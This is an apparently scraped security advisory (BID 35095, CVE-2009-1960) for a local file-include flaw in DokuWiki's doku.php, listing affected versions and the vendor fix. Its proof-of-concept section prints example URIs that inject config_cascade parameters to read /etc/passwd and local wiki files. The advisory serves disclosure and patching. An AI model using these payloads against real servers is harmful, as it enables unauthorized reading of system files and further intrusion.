Dokuwiki 'doku.php' Local File Include Vulnerability
BID:35095
Info
Dokuwiki 'doku.php' Local File Include Vulnerability
| Bugtraq ID: | 35095 |
| Class: | Input Validation Error |
| CVE: |
CVE-2009-1960 |
| Remote: | Yes |
| Local: | No |
| Published: | May 26 2009 12:00AM |
| Updated: | Aug 21 2009 03:57PM |
| Credit: | girex |
| Vulnerable: |
Gentoo Linux DokuWiki DokuWiki rc2009-02-06 DokuWiki DokuWiki rc2009-01-30 DokuWiki DokuWiki 2009-02-14 |
| Not Vulnerable: |
DokuWiki DokuWiki 2009-02-14b |
Discussion
Dokuwiki 'doku.php' Local File Include Vulnerability
Dokuwiki is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to view files and execute local scripts in the context of the webserver process, which may aid in further attacks.
Dokuwiki 2009-02-14, rc2009-02-06, and rc2009-01-30 are vulnerable; other versions may also be affected.
Dokuwiki is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to view files and execute local scripts in the context of the webserver process, which may aid in further attacks.
Dokuwiki 2009-02-14, rc2009-02-06, and rc2009-01-30 are vulnerable; other versions may also be affected.
Exploit / POC
Dokuwiki 'doku.php' Local File Include Vulnerability
Attackers can exploit this issue via a browser.
The following example URIs are available:
http://www.example.com/[path]/doku.php?config_cascade[main][default][]=/etc/passwd
http://www.example.com/[path]/doku.php?config_cascade[main][default][]=./README
http://www.example.com/[path]/doku.php?config_cascade[main][default][]=./data/pages/[page_edited].txt
http://www.example.com/[path]/doku.php?config_cascade[main][default][]=./data/media/[uploaded_file].doc
Attackers can exploit this issue via a browser.
The following example URIs are available:
http://www.example.com/[path]/doku.php?config_cascade[main][default][]=/etc/passwd
http://www.example.com/[path]/doku.php?config_cascade[main][default][]=./README
http://www.example.com/[path]/doku.php?config_cascade[main][default][]=./data/pages/[page_edited].txt
http://www.example.com/[path]/doku.php?config_cascade[main][default][]=./data/media/[uploaded_file].doc
Solution / Fix
Dokuwiki 'doku.php' Local File Include Vulnerability
Solution:
The vendor has fixed the issue. Please see the references for details.
DokuWiki DokuWiki 2009-02-14
DokuWiki DokuWiki rc2009-01-30
DokuWiki DokuWiki rc2009-02-06
Solution:
The vendor has fixed the issue. Please see the references for details.
DokuWiki DokuWiki 2009-02-14
-
DokuWiki dokuwiki-2009-02-14b.tgz
http://www.splitbrain.org/_media/projects/dokuwiki/dokuwiki-2009-02-14 b.tgz
DokuWiki DokuWiki rc2009-01-30
-
DokuWiki dokuwiki-2009-02-14b.tgz
http://www.splitbrain.org/_media/projects/dokuwiki/dokuwiki-2009-02-14 b.tgz
DokuWiki DokuWiki rc2009-02-06
-
DokuWiki dokuwiki-2009-02-14b.tgz
http://www.splitbrain.org/_media/projects/dokuwiki/dokuwiki-2009-02-14 b.tgz
References
Dokuwiki 'doku.php' Local File Include Vulnerability
References:
References:
- DokuWiki Web Site (DokuWiki)
- SECURITY: fix local file inclusion with register globals (DokuWiki)